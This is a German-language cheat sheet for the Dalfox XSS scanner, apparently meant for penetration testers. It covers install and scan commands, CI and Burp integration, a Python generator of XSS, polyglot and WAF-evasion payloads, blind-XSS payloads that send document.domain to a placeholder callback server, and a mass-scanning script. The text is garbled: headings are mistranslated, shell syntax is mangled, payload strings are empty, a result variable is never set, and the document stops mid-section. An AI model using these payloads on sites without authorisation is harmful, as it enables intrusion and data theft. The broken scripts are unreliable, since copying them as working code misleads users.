Dalfox Cheat Blatt

generieren

Überblick

Dalfox ist ein leistungsstarker, schneller und präziser XSS (Cross-Site Scripting) Scanner, der für moderne Webanwendungen konzipiert ist. Es verfügt über kontextbasierte Payload-Generation, intelligente DOM-Analyse und fortgeschrittene WAF Bypass-Techniken, so dass es ideal für automatisierte Sicherheitstests und manuelle Penetrationstests Workflows.

RECHT *Key Features: Context-aware XSS-Erkennung, DOM-basierte XSS-Analyse, WAF-Bypass-Techniken, Multi-Threading-Unterstützung, Custom Payload-Generation und umfassende Reporting-Funktionen.

Installation und Inbetriebnahme

Binärinstallation

```bash

Download latest release for Linux

wget https://github.com/hahwul/dalfox/releases/latest/download/dalfox_2.9.2_linux_amd64.tar.gz tar -xzf dalfox_2.9.2_linux_amd64.tar.gz sudo mv dalfox /usr/local/bin/

Download for macOS

wget https://github.com/hahwul/dalfox/releases/latest/download/dalfox_2.9.2_darwin_amd64.tar.gz tar -xzf dalfox_2.9.2_darwin_amd64.tar.gz sudo mv dalfox /usr/local/bin/

Download for Windows

wget https://github.com/hahwul/dalfox/releases/latest/download/dalfox_2.9.2_windows_amd64.zip unzip dalfox_2.9.2_windows_amd64.zip

Move dalfox.exe to PATH

Verify installation

dalfox version

Check available options

dalfox help ```_

Zur Installation

```bash

Install via Go (requires Go 1.19+)

go install github.com/hahwul/dalfox/v2@latest

Verify installation

dalfox version

Update to latest version

go install github.com/hahwul/dalfox/v2@latest

Install specific version

go install github.com/hahwul/dalfox/v2@v2.9.2

Build from source

git clone https://github.com/hahwul/dalfox.git cd dalfox go build -o dalfox main.go sudo mv dalfox /usr/local/bin/ ```_

Docker Installation

```bash

Pull official Docker image

docker pull hahwul/dalfox:latest

Run Dalfox in Docker

docker run --rm hahwul/dalfox:latest version

Run with volume mount for output

docker run --rm -v $(pwd):/app hahwul/dalfox:latest url https://example.com

Create alias for easier usage

echo 'alias dalfox="docker run --rm -v $(pwd):/app hahwul/dalfox:latest"' >> ~/.bashrc source ~/.bashrc

Build custom Docker image

cat > Dockerfile << EOF FROM hahwul/dalfox:latest RUN apk add --no-cache curl jq COPY custom-payloads.txt /app/ EOF

docker build -t custom-dalfox . ```_

Installation des Paketmanagers

```bash

Homebrew (macOS/Linux)

brew install dalfox

Arch Linux (AUR)

yay -S dalfox-bin

Snap package

sudo snap install dalfox

APT (Ubuntu/Debian) - via GitHub releases

curl -s https://api.github.com/repos/hahwul/dalfox/releases/latest \ | grep "browser_download_url.linux_amd64.deb" \ | cut -d '"' -f 4 \ | wget -qi - sudo dpkg -i dalfox_.deb

RPM (CentOS/RHEL/Fedora)

curl -s https://api.github.com/repos/hahwul/dalfox/releases/latest \ | grep "browser_download_url.linux_amd64.rpm" \ | cut -d '"' -f 4 \ | wget -qi - sudo rpm -i dalfox_.rpm ```_

Grundlegende Verwendung und Befehle

Einzelne URL Scanning

```bash

Basic XSS scan

dalfox url https://example.com

Scan with custom user agent

dalfox url https://example.com --user-agent "Mozilla/5.0 Custom Agent"

dalfox url https://example.com --cookie "session=abc123; auth=xyz789"

Scan with custom headers

dalfox url https://example.com --header "Authorization: Bearer token123"

Scan with proxy

dalfox url https://example.com --proxy http://127.0.0.1:8080

Scan with custom timeout

dalfox url https://example.com --timeout 30

Scan with verbose output

dalfox url https://example.com --verbose

Scan with debug information

dalfox url https://example.com --debug ```_

Viel Spaß! Scanning

```bash

Scan multiple URLs from file

echo -e "https://example.com\nhttps://test.com" > urls.txt dalfox file urls.txt

Scan URLs from stdin

echo "https://example.com" | dalfox pipe

Scan with threading

dalfox file urls.txt --worker 50

Scan with rate limiting

dalfox file urls.txt --delay 1000 # 1 second delay

Scan with custom output format

dalfox file urls.txt --format json

Scan and save results

dalfox file urls.txt --output results.txt

Scan with progress bar

dalfox file urls.txt --silence --format plain ```_

Parameter Entdeckung und Prüfung

```bash

Scan with parameter discovery

dalfox url https://example.com --mining-dict

Use custom parameter wordlist

dalfox url https://example.com --mining-dict-word custom-params.txt

Scan specific parameters

dalfox url "https://example.com?param1=test¶m;2=value"

Scan POST parameters

dalfox url https://example.com --data "username=admin&password;=test"

Scan with custom parameter injection

dalfox url https://example.com --custom-payload ""

Scan with parameter pollution

dalfox url https://example.com --param-pollution

Test all HTTP methods

dalfox url https://example.com --method GET,POST,PUT,DELETE ```_

Erweiterte XSS-Detektion

Context-Aware Scanning

```bash

Enable context analysis

dalfox url https://example.com --mining-dom

Deep DOM analysis

dalfox url https://example.com --mining-dom --deep-domxss

Scan for DOM-based XSS

dalfox url https://example.com --dom

Analyze JavaScript context

dalfox url https://example.com --js-analysis

Custom JavaScript payload testing

dalfox url https://example.com --custom-js "console.log('XSS')"

Test event handlers

dalfox url https://example.com --event-handlers

Scan with browser simulation

dalfox url https://example.com --browser-simulation ```_

WAF Bypass Techniken

```bash

Enable WAF bypass mode

dalfox url https://example.com --waf-evasion

Use encoding techniques

dalfox url https://example.com --encoder url,html,js

Custom encoding payloads

dalfox url https://example.com --custom-encoder "base64,hex"

Bypass with case variations

dalfox url https://example.com --case-variation

Use obfuscation techniques

dalfox url https://example.com --obfuscation

Fragment-based bypass

dalfox url https://example.com --fragment-bypass

Comment-based bypass

dalfox url https://example.com --comment-bypass

Unicode bypass techniques

dalfox url https://example.com --unicode-bypass ```_

Payload Anpassung

```bash

Use custom payload file

cat > custom-payloads.txt << EOF

dalfox url https://example.com --custom-payload-file custom-payloads.txt

Generate payloads for specific context

dalfox url https://example.com --payload-context attribute

Use polyglot payloads

dalfox url https://example.com --polyglot

Test with specific payload types

dalfox url https://example.com --payload-type script,img,svg,iframe

Custom payload with variables

dalfox url https://example.com --custom-payload ""

dalfox url https://example.com --blind-xss --blind-url https://your-server.com/collect ```_

Automatisierung und Integration

CI/CD Integration

```bash

!/bin/bash

CI/CD script for automated XSS testing

set -e

TARGET_URL="$1" OUTPUT_DIR="$2" THRESHOLD="$3"

| if [ -z "$TARGET_URL" ] | | [ -z "$OUTPUT_DIR" ]; then | echo "Usage: $0 [threshold]" exit 1 fi

THRESHOLD=${THRESHOLD:-0} # Default: fail on any XSS found

echo "Starting XSS scan with Dalfox..." echo "Target: $TARGET_URL" echo "Output directory: $OUTPUT_DIR" echo "Threshold: $THRESHOLD vulnerabilities"

mkdir -p "$OUTPUT_DIR"

Run Dalfox scan

dalfox url "$TARGET_URL" \ --format json \ --output "$OUTPUT_DIR/dalfox-results.json" \ --worker 20 \ --timeout 30 \ --mining-dict \ --dom \ --waf-evasion \ --verbose

Parse results

echo "Found $VULN_COUNT XSS vulnerabilities"

Generate summary report

cat > "$OUTPUT_DIR/xss-summary.txt" << EOF XSS Security Scan Summary ======================== Date: $(date) Target: $TARGET_URL Scanner: Dalfox Vulnerabilities Found: $VULN_COUNT Threshold: $THRESHOLD

Status: $(if [ "$VULN_COUNT" -le "$THRESHOLD" ]; then echo "PASS"; else echo "FAIL"; fi) EOF

Generate HTML report

if command -v jq >/dev/null 2>&1; then python3 << 'PYTHON_EOF' import json import sys import os

output_dir = sys.argv[1] results_file = os.path.join(output_dir, "dalfox-results.json")

try: with open(results_file, 'r') as f: data = json.load(f)

vulnerabilities = data.get('vulnerabilities', [])

html_content = f"""

Dalfox XSS Scan Report

Vulnerability Details

""" if vulnerabilities: html_content += "" for vuln in vulnerabilities: html_content += f""" """ html_content += "

Type	URL	Parameter	Payload	Evidence
{vuln.get('type', 'XSS')}	{vuln.get('url', '')}	{vuln.get('parameter', '')}	`{vuln.get('payload', '')}`	{vuln.get('evidence', '')}

" else: html_content += "

No XSS vulnerabilities detected.

" html_content += """

"""

with open(os.path.join(output_dir, "dalfox-report.html"), 'w') as f:
    f.write(html_content)

print(f"HTML report generated: {os.path.join(output_dir, 'dalfox-report.html')}")

except Exception as e: print(f"Error generating HTML report: {e}") PYTHON_EOF fi

Check threshold and exit

if [ "$VULN_COUNT" -gt "$THRESHOLD" ]; then echo "ERROR: Found $VULN_COUNT vulnerabilities, exceeds threshold of $THRESHOLD" exit 1 else echo "SUCCESS: Vulnerability count within acceptable threshold" exit 0 fi ```_

GitHub Aktionen Integration

```yaml

.github/workflows/xss-security-scan.yml

name: XSS Security Scan with Dalfox

on: push: branches: [ main, develop ] pull_request: branches: [ main ] schedule: - cron: '0 2 * * 1' # Weekly scan on Mondays at 2 AM

jobs: xss-scan: runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v3

- name: Install Dalfox
  run: |
    wget https://github.com/hahwul/dalfox/releases/latest/download/dalfox_2.9.2_linux_amd64.tar.gz
    tar -xzf dalfox_2.9.2_linux_amd64.tar.gz
    sudo mv dalfox /usr/local/bin/
    dalfox version

- name: Start application
  run: |
    # Start your web application here
    npm start &
    sleep 30  # Wait for application to start

- name: Run XSS scan
  run: |
    mkdir -p scan-results

    # Scan main application endpoints
    dalfox url http://localhost:3000 \
      --format json \
      --output scan-results/main-scan.json \
      --worker 10 \
      --timeout 30 \
      --mining-dict \
      --dom \
      --waf-evasion

    # Scan API endpoints
    dalfox url http://localhost:3000/api \
      --format json \
      --output scan-results/api-scan.json \
      --worker 10 \
      --timeout 30 \
      --data "param1=test&param;2=value"

    # Scan with authentication
    dalfox url http://localhost:3000/dashboard \
      --format json \
      --output scan-results/auth-scan.json \
      --cookie "session=${{ secrets.TEST_SESSION_COOKIE }}" \
      --worker 10

- name: Process scan results
  run: |
    # Combine all scan results
    jq -s 'add' scan-results/*.json > scan-results/combined-results.json

    # Count vulnerabilities
    VULN_COUNT=$(jq '.vulnerabilities | length' scan-results/combined-results.json)
    echo "VULN_COUNT=$VULN_COUNT" >> $GITHUB_ENV

    # Generate summary
    echo "XSS vulnerabilities found: $VULN_COUNT" > scan-results/summary.txt

- name: Upload scan results
  uses: actions/upload-artifact@v3
  with:
    name: xss-scan-results
    path: scan-results/

- name: Comment PR with results
  if: github.event_name == 'pull_request'
  uses: actions/github-script@v6
  with:
    script: |
      const fs = require('fs');
      const summary = fs.readFileSync('scan-results/summary.txt', 'utf8');

      github.rest.issues.createComment({
        issue_number: context.issue.number,
        owner: context.repo.owner,
        repo: context.repo.repo,
        body: `## XSS Security Scan Results\n\n\`\`\`\n${summary}\n\`\`\``
      });

- name: Fail if vulnerabilities found
  run: |
    if [ "$VULN_COUNT" -gt "0" ]; then
      echo "XSS vulnerabilities detected! Check the scan results."
      exit 1
    fi

```_

Integration von Burp Suite

```python

Burp Suite extension for Dalfox integration

from burp import IBurpExtender, ITab, IHttpListener from java.awt import Component from java.awt import GridBagLayout, GridBagConstraints from javax.swing import JPanel, JButton, JTextArea, JScrollPane, JLabel import subprocess import json import threading

class BurpExtender(IBurpExtender, ITab, IHttpListener):

def registerExtenderCallbacks(self, callbacks):
    self._callbacks = callbacks
    self._helpers = callbacks.getHelpers()

    callbacks.setExtensionName("Dalfox Integration")

    # Create UI
    self._jPanel = JPanel(GridBagLayout())

    # Add components
    constraints = GridBagConstraints()

    # Title
    constraints.gridx = 0
    constraints.gridy = 0
    constraints.gridwidth = 2
    self._jPanel.add(JLabel("Dalfox XSS Scanner Integration"), constraints)

    # Scan button
    constraints.gridx = 0
    constraints.gridy = 1
    constraints.gridwidth = 1
    self._scanButton = JButton("Scan with Dalfox", actionPerformed=self.scanWithDalfox)
    self._jPanel.add(self._scanButton, constraints)

    # Results area
    constraints.gridx = 0
    constraints.gridy = 2
    constraints.gridwidth = 2
    constraints.fill = GridBagConstraints.BOTH
    constraints.weightx = 1.0
    constraints.weighty = 1.0

    self._resultsArea = JTextArea(20, 80)
    self._resultsArea.setEditable(False)
    scrollPane = JScrollPane(self._resultsArea)
    self._jPanel.add(scrollPane, constraints)

    # Register as HTTP listener
    callbacks.registerHttpListener(self)

    # Add tab
    callbacks.addSuiteTab(self)

    print("Dalfox Integration extension loaded")

def getTabCaption(self):
    return "Dalfox"

def getUiComponent(self):
    return self._jPanel

def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    # Auto-scan interesting requests
    if messageIsRequest:
        return

    # Get request/response
    request = messageInfo.getRequest()
    response = messageInfo.getResponse()

    # Parse URL
    requestInfo = self._helpers.analyzeRequest(messageInfo)
    url = str(requestInfo.getUrl())

    # Check if response contains forms or parameters
    responseString = self._helpers.bytesToString(response)
    if "<form" in responseString.lower() or "input" in responseString.lower():
        self.addToResults(f"Potential XSS target detected: {url}")

def scanWithDalfox(self, event):
    # Get selected request from Burp
    selectedMessages = self._callbacks.getSelectedMessages()

    if not selectedMessages:
        self.addToResults("No request selected. Please select a request in Burp.")
        return

    # Start scan in background thread
    thread = threading.Thread(target=self.runDalfoxScan, args=(selectedMessages,))
    thread.daemon = True
    thread.start()

def runDalfoxScan(self, selectedMessages):
    try:
        for messageInfo in selectedMessages:
            # Get request details
            requestInfo = self._helpers.analyzeRequest(messageInfo)
            url = str(requestInfo.getUrl())

            self.addToResults(f"Starting Dalfox scan for: {url}")

            # Prepare Dalfox command
            cmd = [
                "dalfox",
                "url",
                url,
                "--format", "json",
                "--worker", "5",
                "--timeout", "10"
            ]

            # Add cookies if present
            headers = requestInfo.getHeaders()
            for header in headers:
                if header.lower().startswith("cookie:"):
                    cookie_value = header[7:].strip()  # Remove "Cookie: "
                    cmd.extend(["--cookie", cookie_value])
                    break

            # Run Dalfox
            process = subprocess.Popen(
                cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                universal_newlines=True
            )

            stdout, stderr = process.communicate()

            if process.returncode == 0:
                try:
                    results = json.loads(stdout)
                    self.processDalfoxResults(url, results)
                except json.JSONDecodeError:
                    self.addToResults(f"Scan completed for {url}, but no JSON output received")
            else:
                self.addToResults(f"Dalfox scan failed for {url}: {stderr}")

    except Exception as e:
        self.addToResults(f"Error running Dalfox scan: {str(e)}")

def processDalfoxResults(self, url, results):
    vulnerabilities = results.get('vulnerabilities', [])

    if vulnerabilities:
        self.addToResults(f"XSS vulnerabilities found in {url}:")
        for vuln in vulnerabilities:
            vuln_type = vuln.get('type', 'XSS')
            parameter = vuln.get('parameter', 'Unknown')
            payload = vuln.get('payload', 'Unknown')

            self.addToResults(f"  - {vuln_type} in parameter '{parameter}'")
            self.addToResults(f"    Payload: {payload}")
    else:
        self.addToResults(f"No XSS vulnerabilities found in {url}")

def addToResults(self, text):
    current_text = self._resultsArea.getText()
    new_text = current_text + "\n" + text
    self._resultsArea.setText(new_text)
    self._resultsArea.setCaretPosition(len(new_text))

```_

Fortgeschrittene Techniken und Methoden

Entwicklung der Nutzlast

```python

!/usr/bin/env python3

Advanced payload generator for Dalfox

import random import string import base64 import urllib.parse import json

class DalfoxPayloadGenerator: def init(self): self.contexts = [ 'html', 'attribute', 'javascript', 'css', 'url', 'json' ]

    self.encodings = [
        'url', 'html', 'js', 'base64', 'hex', 'unicode'
    ]

    self.evasion_techniques = [
        'case_variation', 'comment_insertion', 'whitespace_variation',
        'encoding_variation', 'tag_variation', 'event_variation'
    ]

def generate_context_aware_payloads(self, context='html'):
    """Generate payloads specific to injection context"""

    payloads = []

    if context == 'html':
        payloads.extend([
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',
            '<iframe src=javascript:alert("XSS")>',
            '<body onload=alert("XSS")>',
            '<input onfocus=alert("XSS") autofocus>',
            '<select onfocus=alert("XSS") autofocus>',
            '<textarea onfocus=alert("XSS") autofocus>',
            '<keygen onfocus=alert("XSS") autofocus>',
            '<video><source onerror=alert("XSS")>'
        ])

    elif context == 'attribute':
        payloads.extend([
            '" onmouseover=alert("XSS") "',
            '\' onmouseover=alert("XSS") \'',
            'javascript:alert("XSS")',
            '" onfocus=alert("XSS") autofocus="',
            '\' onfocus=alert("XSS") autofocus=\'',
            '" onload=alert("XSS") "',
            '\' onload=alert("XSS") \'',
            '" onerror=alert("XSS") "',
            '\' onerror=alert("XSS") \''
        ])

    elif context == 'javascript':
        payloads.extend([
            'alert("XSS")',
            'confirm("XSS")',
            'prompt("XSS")',
            'console.log("XSS")',
            'eval("alert(\\"XSS\\")")',
            'Function("alert(\\"XSS\\")")()',
            'setTimeout("alert(\\"XSS\\")", 0)',
            'setInterval("alert(\\"XSS\\")", 0)',
            'document.write("XSS")',
            'window.location="javascript:alert(\\"XSS\\")"'
        ])

    elif context == 'css':
        payloads.extend([
            'expression(alert("XSS"))',
            'url("javascript:alert(\\"XSS\\")")',
            'behavior:url("javascript:alert(\\"XSS\\")")',
            '@import "javascript:alert(\\"XSS\\")"',
            'background:url("javascript:alert(\\"XSS\\")")'
        ])

    elif context == 'url':
        payloads.extend([
            'javascript:alert("XSS")',
            'data:text/html,<script>alert("XSS")</script>',
            'vbscript:alert("XSS")',
            'livescript:alert("XSS")',
            'mocha:alert("XSS")',
            'feed:javascript:alert("XSS")',
            'view-source:javascript:alert("XSS")'
        ])

    elif context == 'json':
        payloads.extend([
            '{"xss":"<script>alert(\\"XSS\\")</script>"}',
            '{"xss":"<img src=x onerror=alert(\\"XSS\\")>"}',
            '{"xss":"javascript:alert(\\"XSS\\")"}',
            '{"xss":"\\u003cscript\\u003ealert(\\"XSS\\")\\u003c/script\\u003e"}'
        ])

    return payloads

def apply_encoding(self, payload, encoding='url'):
    """Apply various encoding techniques to payloads"""

    if encoding == 'url':
        return urllib.parse.quote(payload)

    elif encoding == 'html':
        return payload.replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;').replace("'", '&#x27;')

    elif encoding == 'js':
        return payload.replace('\\', '\\\\').replace('"', '\\"').replace("'", "\\'")

    elif encoding == 'base64':
        return base64.b64encode(payload.encode()).decode()

    elif encoding == 'hex':
        return ''.join([hex(ord(c))[2:] for c in payload])

    elif encoding == 'unicode':
        return ''.join([f'\\u{ord(c):04x}' for c in payload])

    return payload

def apply_evasion(self, payload, technique='case_variation'):
    """Apply WAF evasion techniques"""

    if technique == 'case_variation':
        result = ''
        for char in payload:
            if char.isalpha():
                result += char.upper() if random.choice([True, False]) else char.lower()
            else:
                result += char
        return result

    elif technique == 'comment_insertion':
        # Insert HTML comments
        return payload.replace('<script>', '<script/**/>')

    elif technique == 'whitespace_variation':
        # Use various whitespace characters
        whitespace_chars = [' ', '\t', '\n', '\r', '\f', '\v']
        return payload.replace(' ', random.choice(whitespace_chars))

    elif technique == 'tag_variation':
        # Use alternative tags
        tag_alternatives = {
            'script': ['SCRIPT', 'Script', 'sCrIpT'],
            'img': ['IMG', 'Img', 'iMg'],
            'svg': ['SVG', 'Svg', 'sVg']
        }

        result = payload
        for tag, alternatives in tag_alternatives.items():
            if tag in payload.lower():
                result = result.replace(tag, random.choice(alternatives))

        return result

    elif technique == 'event_variation':
        # Use alternative event handlers
        event_alternatives = {
            'onload': ['onLoad', 'ONLOAD', 'OnLoad'],
            'onerror': ['onError', 'ONERROR', 'OnError'],
            'onclick': ['onClick', 'ONCLICK', 'OnClick']
        }

        result = payload
        for event, alternatives in event_alternatives.items():
            if event in payload.lower():
                result = result.replace(event, random.choice(alternatives))

        return result

    return payload

def generate_polyglot_payloads(self):
    """Generate polyglot payloads that work in multiple contexts"""

    polyglots = [
        'javascript:/*--></title></style></textarea></script></xmp><svg/onload=\'+/"/+/onmouseover=1/+/[*/[]/+alert(1)//\'>',
        '"><img src=x onerror=alert(1)>',
        '\';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>',
        '\'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>\'">',
        'jaVasCript:/*-/*`/*\\`/*\'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//',
        '<svg/onload=alert(1)>',
        '<img src=x onerror=alert(1)>',
        '<iframe src=javascript:alert(1)>',
        '<body onload=alert(1)>',
        '<script>alert(1)</script>'
    ]

    return polyglots

def generate_blind_xss_payloads(self, callback_url):
    """Generate payloads for blind XSS testing"""

    payloads = [
        f'<script>fetch("{callback_url}?xss="+document.domain)</script>',
        f'<img src=x onerror=fetch("{callback_url}?xss="+document.domain)>',
        f'<svg onload=fetch("{callback_url}?xss="+document.domain)>',
        f'<script>new Image().src="{callback_url}?xss="+document.domain</script>',
        f'<script>document.location="{callback_url}?xss="+document.domain</script>',
        f'<script>navigator.sendBeacon("{callback_url}", document.domain)</script>',
        f'<script>eval(atob("ZmV0Y2goIi4uLiIp")).replace("...", "{callback_url}?xss="+document.domain)</script>'
    ]

    return payloads

def save_payloads_to_file(self, payloads, filename):
    """Save generated payloads to file for use with Dalfox"""

    with open(filename, 'w') as f:
        for payload in payloads:
            f.write(payload + '\n')

    print(f"Saved {len(payloads)} payloads to {filename}")

def generate_comprehensive_payload_set(self, callback_url=None):
    """Generate comprehensive set of payloads for all contexts"""

    all_payloads = []

    # Generate context-specific payloads
    for context in self.contexts:
        context_payloads = self.generate_context_aware_payloads(context)
        all_payloads.extend(context_payloads)

    # Add polyglot payloads
    all_payloads.extend(self.generate_polyglot_payloads())

    # Add blind XSS payloads if callback URL provided
    if callback_url:
        all_payloads.extend(self.generate_blind_xss_payloads(callback_url))

    # Apply various evasion techniques
    evasion_payloads = []
    for payload in all_payloads[:20]:  # Apply to first 20 payloads
        for technique in self.evasion_techniques:
            evasion_payloads.append(self.apply_evasion(payload, technique))

    all_payloads.extend(evasion_payloads)

    # Apply various encodings
    encoded_payloads = []
    for payload in all_payloads[:10]:  # Apply to first 10 payloads
        for encoding in self.encodings:
            encoded_payloads.append(self.apply_encoding(payload, encoding))

    all_payloads.extend(encoded_payloads)

    # Remove duplicates
    all_payloads = list(set(all_payloads))

    return all_payloads

Usage example

if name == "main": generator = DalfoxPayloadGenerator()

# Generate comprehensive payload set
payloads = generator.generate_comprehensive_payload_set("https://your-callback-server.com/collect")

# Save to file
generator.save_payloads_to_file(payloads, "custom-dalfox-payloads.txt")

print(f"Generated {len(payloads)} unique payloads")

# Example usage with Dalfox
print("\nTo use with Dalfox:")
print("dalfox url https://target.com --custom-payload-file custom-dalfox-payloads.txt")

```_

Maß Scanning Automation

```bash

!/bin/bash

Mass XSS scanning script with Dalfox

set -e

TARGETS_FILE="$1" OUTPUT_DIR="$2" THREADS="$3" DELAY="$4"

| if [ -z "$TARGETS_FILE" ] | | [ -z "$OUTPUT_DIR" ]; then | echo "Usage: $0 [threads] [delay_ms]" echo "Example: $0 targets.txt results/ 20 1000" exit 1 fi

THREADS=${THREADS:-10} DELAY=${DELAY:-500}

echo "Starting mass XSS scanning with Dalfox" echo "Targets file: $TARGETS_FILE" echo "Output directory: $OUTPUT_DIR" echo "Threads: $THREADS" echo "Delay: ${DELAY}ms"

mkdir -p "$OUTPUT_DIR"

Validate targets file

if [ ! -f "$TARGETS_FILE" ]; then echo "Error: Targets file not found: $TARGETS_FILE" exit 1 fi

TARGET_COUNT=$(wc -l < "$TARGETS_FILE") echo "Total targets: $TARGET_COUNT"

Create scan configuration

cat > "$OUTPUT_DIR/scan-config.json" << EOF { "scan_date": "$(date -Iseconds)", "targets_file": "$TARGETS_FILE", "target_count": $TARGET_COUNT, "threads": $THREADS, "delay_ms": $DELAY, | "dalfox_version": "$(dalfox version 2>/dev/null | | echo 'unknown')" | } EOF

Function to scan single target

scan_target() { local target="$1" local output_dir="$2" local delay="$3"

# Create safe filename

| local safe_filename=$(echo "$target" | sed 's | https\?:// | | g' | sed 's | [^a-zA-Z0-9.-] | _ | g') | local output_file="$output_dir/${safe_filename}.json"

echo "Scanning: $target"

# Run Dalfox scan
timeout 300 dalfox url "$target" \
    --format json \
    --output "$output_file" \
    --worker 5 \
    --timeout 30 \
    --delay "$delay" \
    --mining-dict \
    --dom \
    --waf-evasion \
    --silence \

| 2>/dev/null | | { | echo "Scan failed or timed out for: $target" echo '{"error": "scan_failed", "target": "'$target'", "timestamp": "'$(date -Iseconds)'"}' > "$output_file" }

# Add metadata to result
if [ -f "$output_file" ]; then
    # Create temporary file with metadata

| jq '. + {"scan_metadata": {"target": "'$target'", "scan_time": "'$(date -Iseconds)'"}}' "$output_file" > "$output_file.tmp" 2>/dev/null | | { | # If jq fails, create basic JSON structure echo '{"target": "'$target'", "scan_time": "'$(date -Iseconds)'", "error": "json_parse_failed"}' > "$output_file.tmp" } mv "$output_file.tmp" "$output_file" fi }

export -f scan_target

Run parallel scans

echo "Starting parallel scans..." cat "$TARGETS_FILE" | xargs -I {} -P "$THREADS" bash -c 'scan_target "$@"' _ {} "$OUTPUT_DIR" "$DELAY"

echo "Scanning completed. Processing results..."

Combine all results

echo "Combining scan results..." find "$OUTPUT_DIR" -name "*.json" -type f | while read -r file; do if [ -s "$file" ]; then # Check if file is not empty cat "$file" echo "," fi | done | sed '$ s/,$//' | sed '1i[' | sed '$a]' > "$OUTPUT_DIR/combined-results.json" |

Generate summary statistics

python3 << 'PYTHON_EOF' import json import sys import os from collections import defaultdict

output_dir = sys.argv[1] combined_file = os.path.join(output_dir, "combined-results.json")

try: with open(combined_file, 'r') as f: results = json.load(f)

stats = {
    "total_targets": len(results),
    "successful_scans": 0,
    "failed_scans": 0,
    "total_vulnerabilities": 0,
    "vulnerable_targets": 0,
    "vulnerability_types": defaultdict(int),
    "targets_with_vulns": []
}

for result in results:
    if "error" in result:
        stats["failed_scans"] += 1
        continue

    stats["successful_scans"] += 1

    vulnerabilities = result.get("vulnerabilities", [])
    if vulnerabilities:
        stats["vulnerable_targets"] += 1
        stats["targets_with_vulns"].append({
            "target": result.get("target", "unknown"),
            "vuln_count": len(vulnerabilities)
        })

    stats["total_vulnerabilities"] += len(vulnerabilities)

    for vuln in vulnerabilities:
        vuln_type = vuln.get("type", "unknown")
        stats["vulnerability_types"][vuln_type] += 1

# Convert defaultdict to regular dict for JSON serialization
stats["vulnerability_types"] = dict(stats["vulnerability_types"])

# Save statistics
with open(os.path.join(output_dir, "scan-statistics.json"), 'w') as f:
    json.dump(stats, f, indent=2)

# Generate text summary
summary_text = f"""

XSS Mass Scanning Summary

Scan Date: {results[0].get('scan_metadata', {}).get('scan_time', 'unknown') if results else 'unknown'} Total Targets: {stats['total_targets']} Successful Scans: {stats['successful_scans']} Failed Scans: {stats['failed_scans']} Success Rate: {(stats['successful_scans'] / stats['total_targets'] * 100):.1f}%

Vulnerability Summary: - Total Vulnerabilities: {stats['total_vulnerabilities']} - Vulnerable Targets: {stats['vulnerable_targets']} - Vulnerability Rate: {(stats['vulnerable_targets'] / stats['successful_scans'] * 100):.1f}%

Vulnerability Types: """

for vuln_type, count in stats["vulnerability_types"].items():
    summary_text += f"- {vuln_type}: {count}\n"

summary_text += "\nMost Vulnerable Targets:\n"
sorted_targets = sorted(stats["targets_with_vulns"], key=lambda x: x["vuln_count"], reverse=True)
for target in sorted_targets[:10]:
    summary_text += f"- {target['target']}: {target['vuln_count']} vulnerabilities\n"

with open(os.path.join(output_dir, "scan-summary.txt"), 'w') as f:
    f.write(summary_text)

print("Scan statistics generated successfully")
print(f"Total vulnerabilities found: {stats['total_vulnerabilities']}")
print(f"Vulnerable targets: {stats['vulnerable_targets']}/{stats['successful_scans']}")

except Exception as e: print(f"Error processing results: {e}") sys.exit(1) PYTHON_EOF

echo "Mass scanning completed!" echo "Results saved to: $OUTPUT_DIR" echo "Summary: $OUTPUT_DIR/scan-summary.txt" echo "Statistics: $OUTPUT_DIR/scan-statistics.json" echo "Combined results: $OUTPUT_DIR/combined-results.json" ```_

Leistungsoptimierung und Fehlerbehebung

Leistung Tuning

```bash

Optimize Dalfox for different scenarios

High-speed scanning (less accuracy)

dalfox url https://example.com \ --worker 50 \ --timeout 5 \ --delay 100 \ --skip-mining \ --skip-dom \ --format plain

Thorough scanning (high accuracy)

dalfox url https://example.com \ --worker 10 \ --timeout 60 \ --delay 2000 \ --mining-dict \ --mining-dom \ --deep-domxss \ --waf-evasion \ --format json

Memory-efficient scanning for large targets

dalfox file large-targets.txt \ --worker 5 \ --timeout 30 \ --delay 1000 \ --batch-size 100 \ --format plain

Network-optimized scanning

dalfox url https://example.com \ --worker 20 \ --timeout 15 \ --delay 500 \ --retry 2 \ --proxy http://127.0.0.1:8080

Resource monitoring during scans

!/bin/bash

monitor_dalfox_performance() { local target="$1" local output_file="performance-$(date +%s).log"

echo "Starting performance monitoring for Dalfox scan"
echo "Target: $target"
echo "Log file: $output_file"

# Start monitoring in background
{
    echo "Timestamp,CPU%,Memory(MB),Network(KB/s)"
    while true; do
        if pgrep -f "dalfox" > /dev/null; then
            local cpu=$(ps -p $(pgrep -f "dalfox") -o %cpu --no-headers | awk '{sum+=$1} END {print sum}')
            local mem=$(ps -p $(pgrep -f "dalfox") -o rss --no-headers | awk '{sum+=$1} END {print sum/1024}')

| local net=$(cat /proc/net/dev | grep -E "(eth0 | wlan0)" | awk '{print ($2+$10)/1024}') | echo "$(date +%s),$cpu,$mem,$net" fi sleep 5 done } > "$output_file" &

local monitor_pid=$!

# Run Dalfox scan
dalfox url "$target" \
    --worker 20 \
    --timeout 30 \
    --mining-dict \
    --dom \
    --format json \
    --output "scan-results-$(date +%s).json"

# Stop monitoring
kill $monitor_pid 2>/dev/null

echo "Performance monitoring completed: $output_file"

}

Usage

monitor_dalfox_performance "https://example.com" ```_

Probleme bei der Fehlerbehebung

```bash

Debug connection issues

dalfox url https://example.com --debug --verbose

Test with different user agents

dalfox url https://example.com --user-agent "Mozilla/5.0 (compatible; DalfoxBot/1.0)"

Bypass SSL certificate issues

